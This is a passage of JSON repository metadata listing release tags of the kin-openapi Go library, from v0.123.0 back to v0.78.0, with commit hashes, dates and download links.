},{"name":"v0.123.0","sha":"9d820c946ffc64e97853370f22e8b991e0a3aa0d","kind":"commit","published_at":"2024-01-22T20:01:30.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.123.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.123.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.123.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.123.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.123.0/manifests"},{"name":"v0.122.0","sha":"6740cd2b25853647fafc2e40c33d60f6f78b4fd2","kind":"commit","published_at":"2023-11-28T20:35:55.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.122.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.122.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.122.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.122.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.122.0/manifests"},{"name":"v0.121.0","sha":"4e7d03195bde822fdfe798fd04dbee5b0e3109d9","kind":"commit","published_at":"2023-11-27T12:53:30.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.121.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.121.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.121.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.121.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.121.0/manifests"},{"name":"v0.120.0","sha":"d14f7e054c72087d3ba0b2a75fc82bf840898cb7","kind":"commit","published_at":"2023-09-07T17:59:29.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.120.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.120.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.120.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.120.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.120.0/manifests"},{"name":"v0.119.0","sha":"14c85654af4c946a7457ecfafbf8b1e62446a275","kind":"commit","published_at":"2023-08-30T15:41:32.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.119.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.119.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.119.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.119.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.119.0/manifests"},{"name":"v0.118.0","sha":"5a6f97ed7fa17899e74dee9089fcbc63c70b8422","kind":"commit","published_at":"2023-06-07T14:02:03.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.118.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.118.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.118.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.118.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.118.0/manifests"},{"name":"v0.117.0","sha":"b8c06e7b974d90aaf6dad2406f1b4e01e937a8c7","kind":"commit","published_at":"2023-05-18T09:36:51.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.117.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.117.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.117.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.117.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.117.0/manifests"},{"name":"v0.116.0","sha":"994d4f01c1e8dd613805668a7c10b568547f7789","kind":"commit","published_at":"2023-04-18T13:23:23.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.116.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.116.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.116.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.116.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.116.0/manifests"},{"name":"v0.115.0","sha":"e53fe386960a0f532637da538535f22c9a9249e6","kind":"commit","published_at":"2023-02-27T10:49:09.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.115.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.115.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.115.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.115.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.115.0/manifests"},{"name":"v0.114.0","sha":"ecb06bc5c05b010b9c1322486ff74f2178f7927c","kind":"commit","published_at":"2023-02-02T14:35:40.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.114.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.114.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.114.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.114.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.114.0/manifests"},{"name":"v0.113.0","sha":"5c0555e4120f1ec285e261e69933701557557abc","kind":"commit","published_at":"2023-01-20T16:21:59.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.113.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.113.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.113.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.113.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.113.0/manifests"},{"name":"v0.112.0","sha":"46e0df8ae84cbb51b7c672a0bb8ebb6995d28c7a","kind":"commit","published_at":"2022-12-20T09:29:35.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.112.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.112.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.112.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.112.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.112.0/manifests"},{"name":"v0.111.0","sha":"2975a21ed6b57ea97427c31a297c368fb1ce35de","kind":"commit","published_at":"2022-12-16T18:58:33.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.111.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.111.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.111.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.111.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.111.0/manifests"},{"name":"v0.110.0","sha":"7f75486fb2e67e621a4b2d8a649be713a6704501","kind":"commit","published_at":"2022-11-29T17:38:44.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.110.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.110.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.110.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.110.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.110.0/manifests"},{"name":"v0.109.0","sha":"cd217fe551cc36fcc74326076ec9fa0a38cc0920","kind":"commit","published_at":"2022-11-22T15:05:37.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.109.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.109.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.109.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.109.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.109.0/manifests"},{"name":"v0.108.0","sha":"d89a84e1874cd5d42c39dc3fc0b54f7885fa9453","kind":"commit","published_at":"2022-11-09T10:24:56.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.108.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.108.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.108.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.108.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.108.0/manifests"},{"name":"v0.107.0","sha":"285135d2190e2a39281a7e06564d4dbccc117b43","kind":"commit","published_at":"2022-10-27T14:47:57.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.107.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.107.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.107.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.107.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.107.0/manifests"},{"name":"v0.106.0","sha":"ac1811368b118e6c46fa9eede7541c9c949ec4f8","kind":"commit","published_at":"2022-10-16T11:04:46.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.106.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.106.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.106.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.106.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.106.0/manifests"},{"name":"v0.105.0","sha":"330c14297a9f2cb0d31d1516106be573ab05f17d","kind":"commit","published_at":"2022-10-13T13:30:45.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.105.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.105.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.105.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.105.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.105.0/manifests"},{"name":"v0.104.0","sha":"b31a4bb2dcd523b1477da8854f0f75859cd314b3","kind":"commit","published_at":"2022-10-07T16:46:36.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.104.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.104.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.104.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.104.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.104.0/manifests"},{"name":"v0.103.0","sha":"a8f69f469eb9c4c423fefa06433c90edc0bfaa45","kind":"commit","published_at":"2022-09-21T10:10:18.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.103.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.103.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.103.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.103.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.103.0/manifests"},{"name":"v0.102.0","sha":"68016e06befbe1aa795cf3e310d932b9abb412ba","kind":"commit","published_at":"2022-09-16T09:29:30.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.102.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.102.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.102.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.102.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.102.0/manifests"},{"name":"v0.101.0","sha":"46603c3b350c28a74763bda34fd4fe2142a76145","kind":"commit","published_at":"2022-09-14T15:00:37.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.101.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.101.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.101.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.101.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.101.0/manifests"},{"name":"v0.100.0","sha":"5a61040f9c83432717fde755d16649eca5e21038","kind":"commit","published_at":"2022-08-31T09:06:33.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.100.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.100.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.100.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.100.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.100.0/manifests"},{"name":"v0.99.0","sha":"40bb5a1e2d2b3b22545d5aec7005fa0e6fd2f06d","kind":"commit","published_at":"2022-08-29T14:39:51.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.99.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.99.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.99.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.99.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.99.0/manifests"},{"name":"v0.98.0","sha":"fd4bae81cff0aae76fbea0f57ee8be5b1d9ec4f0","kind":"commit","published_at":"2022-07-31T13:50:11.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.98.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.98.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.98.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.98.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.98.0/manifests"},{"name":"v0.97.0","sha":"32445850faa0551385d614e844b344006c0a8f22","kind":"commit","published_at":"2022-06-12T10:19:45.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.97.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.97.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.97.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.97.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.97.0/manifests"},{"name":"v0.96.0","sha":"bcecaeee449cfdeaa5696dad0348ee579bbd758c","kind":"commit","published_at":"2022-05-31T16:19:07.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.96.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.96.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.96.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.96.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.96.0/manifests"},{"name":"v0.95.0","sha":"221a29220d72ba3384a380e316e38f262b97e99f","kind":"commit","published_at":"2022-05-30T16:56:56.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.95.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.95.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.95.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.95.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.95.0/manifests"},{"name":"v0.94.0","sha":"8287d3697f36b53c0aca5926bab441b0de465ae7","kind":"commit","published_at":"2022-03-30T14:53:36.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.94.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.94.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.94.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.94.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.94.0/manifests"},{"name":"v0.93.0","sha":"a5284e92dfa93257a86969175f0c1aedeb34bdfd","kind":"commit","published_at":"2022-03-24T20:22:09.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.93.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.93.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.93.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.93.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.93.0/manifests"},{"name":"v0.92.0","sha":"590c85c2ecb0a6217e555bb298e5df2028145473","kind":"commit","published_at":"2022-03-11T21:43:28.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.92.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.92.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.92.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.92.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.92.0/manifests"},{"name":"v0.91.0","sha":"1013da349382b4fe9be17236c140347fd8139c62","kind":"commit","published_at":"2022-03-07T07:22:30.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.91.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.91.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.91.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.91.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.91.0/manifests"},{"name":"v0.90.0","sha":"d54840d41c35ccd1e55a27df3ea852eabb3864bf","kind":"commit","published_at":"2022-02-23T07:15:07.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.90.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.90.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.90.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.90.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.90.0/manifests"},{"name":"v0.89.0","sha":"0846d700650012c02a16668ebd2bf1e77e9a1669","kind":"commit","published_at":"2022-02-03T19:26:53.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.89.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.89.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.89.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.89.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.89.0/manifests"},{"name":"v0.88.0","sha":"c95dd68aef43fa9ac8c1f52f169b387d7681626a","kind":"commit","published_at":"2022-01-04T21:56:56.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.88.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.88.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.88.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.88.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.88.0/manifests"},{"name":"v0.87.0","sha":"2a1c4b13dbb31687bd9d72f5e706d1d700e7e19e","kind":"commit","published_at":"2021-12-20T13:42:02.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.87.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.87.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.87.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.87.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.87.0/manifests"},{"name":"v0.86.0","sha":"2c128aba366c81723b47bf026adff25b9f259d9b","kind":"commit","published_at":"2021-12-12T19:04:16.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.86.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.86.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.86.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.86.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.86.0/manifests"},{"name":"v0.85.0","sha":"a2254d99982d94a6774ef4cbcdf1ccb03d56bcff","kind":"commit","published_at":"2021-12-03T09:49:46.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.85.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.85.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.85.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.85.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.85.0/manifests"},{"name":"v0.84.0","sha":"f1075be54150633faa1e25d0e9e7325d58228d57","kind":"commit","published_at":"2021-12-02T15:35:26.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.84.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.84.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.84.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.84.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.84.0/manifests"},{"name":"v0.83.0","sha":"0db2d4c3583875f4fe65b47ccb51662a20ed32a9","kind":"commit","published_at":"2021-11-22T11:51:01.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.83.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.83.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.83.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.83.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.83.0/manifests"},{"name":"v0.82.0","sha":"41c2da717f780490b4cc26c55261563346f98851","kind":"commit","published_at":"2021-11-18T16:05:13.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.82.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.82.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.82.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.82.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.82.0/manifests"},{"name":"v0.81.0","sha":"7aa3c9ef96a384ad58c7ef84e9779c7db16a1dcd","kind":"commit","published_at":"2021-11-08T09:27:45.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.81.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.81.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.81.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.81.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.81.0/manifests"},{"name":"v0.80.0","sha":"e9b36dac1a2890474ae44cfcf6446c00393527b5","kind":"commit","published_at":"2021-10-21T15:42:22.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.80.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.80.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.80.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.80.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.80.0/manifests"},{"name":"v0.79.0","sha":"d5022c7c2b1bd9148457c553d40d08200b46871d","kind":"commit","published_at":"2021-10-11T18:44:45.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.79.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.79.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.79.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.79.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.79.0/manifests"},{"name":"v0.78.0","sha":"12311204341890c3056422d2b71945dea7906d8b","kind":"commit","published_at":"2021-10-08T05:54:13.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.78.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.78.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-op